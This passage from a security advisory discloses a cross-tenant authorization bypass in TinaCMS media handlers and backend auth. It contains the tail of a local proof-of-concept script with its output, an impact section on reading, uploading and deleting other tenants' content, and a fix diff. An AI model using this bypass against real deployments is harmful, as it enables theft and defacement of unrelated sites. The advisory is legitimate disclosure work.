Advisory

GHSA-g74q-6g2f-874x

Details, part 2 of 2. The advisory

Details

const r = http.request({ host: '127.0.0.1', port: VICTIM_PORT,
path: /api/cloudinary/media?clientID=${encodeURIComponent(clientID)},
method: 'GET', headers: { authorization: token } }, (res) => {
let b = ''; res.on('data', (c) => (b += c));
res.on('end', () => resolve({ status: res.statusCode, body: b }));
});
r.on('error', (e) => resolve({ status: 0, body: String(e) })); r.end();
});
}

(async () => {
await new Promise((r) => identity.listen(IDENTITY_PORT, '127.0.0.1', r));
await new Promise((r) => victim.listen(VICTIM_PORT, '127.0.0.1', r));

const c1 = await call('victim-app', 'valid-token-for-victim-app');
console.log('[CONTROL 1 legit victim user ] clientID=victim-app token=victim ->', c1.status, c1.body);

const c2 = await call('victim-app', 'valid-token-for-attacker-app');
console.log('[CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker ->', c2.status, c2.body);

const atk = await call('attacker-app', 'valid-token-for-attacker-app');
console.log('[ATTACK attacker own app+token ] clientID=attacker-app token=attacker ->', atk.status, atk.body);

const bug = c1.status === 200 && c2.status === 401 && atk.status === 200;
console.log('\nVERDICT:', bug
? 'VULNERABLE — attacker authorized on victim site with credentials only for their own app.'
: 'NOT REPRODUCED');
identity.close(); victim.close();
process.exit(bug ? 0 : 1);
})();

 
Output:
 

[CONTROL 1 legit victim user ] clientID=victim-app token=victim -> 200 {"authorized":true,"site":"victim-app","media":[...]}
[CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker -> 401 {"message":"sorry this user is unauthorized"}
[ATTACK attacker own app+token ] clientID=attacker-app token=attacker -> 200 {"authorized":true,"site":"victim-app","media":[...]}

VERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app.

 
CONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim's app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim's gate and returns the victim's private media.
 
I verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production `identity.tinajs.io` with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that `GET /v2/apps/<attacker-app>/currentUser` with the attacker's own token returns `200` + `verified:true`, is the normal behavior of an app owner's own session.

## Impact
 
An attacker with a free TinaCloud account reaches editor-level control of unrelated tenants:
 
- **Media handlers:** list and read media, upload arbitrary objects (`next-tinacms-dos` writes `ACL: public-read`, usable to host malware or phishing under the victim's CDN), and delete media by key.
- **`TinaCloudBackendAuthProvider` backend:** arbitrary GraphQL. Read every document, `createDocument` / `updateDocument` to deface or inject content that deploys to production, and `deleteDocument` to destroy content.
The attacker scripts requests with their own token and `clientID=<own app>` against known TinaCMS self-hosted endpoints, so it scales across deployments.
 
## Fix
 
Bind the decision to the site's own configured app id instead of the request value.
 
```diff
- export const isAuthorized = async (req: NextApiRequest) => {
-   const clientID = req.query.clientID;
-   const token = req.headers.authorization;
+ export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) => {
+   const requestClientID = req.query.clientID;
+   const token = req.headers.authorization;
+   const clientID = expectedClientID ?? process.env.NEXT_PUBLIC_TINA_CLIENT_ID;
+   if (expectedClientID && requestClientID && requestClientID !== expectedClientID) {
+     return undefined; // refuse a cross-tenant clientID
+   }
    if (typeof clientID === 'string' && typeof token === 'string') {
      return await isUserAuthorized({ clientID, token });
    }
    return undefined;
  };

Thread the site's configured clientID into TinaCloudBackendAuthProvider() and the media handler config, require isUserAuthorized to use it rather than req.query.clientID, apply the same change to next-tinacms-azure/src/auth.ts, and update the media-store READMEs so integrators stop reintroducing the request-driven clientID.

Sources & licences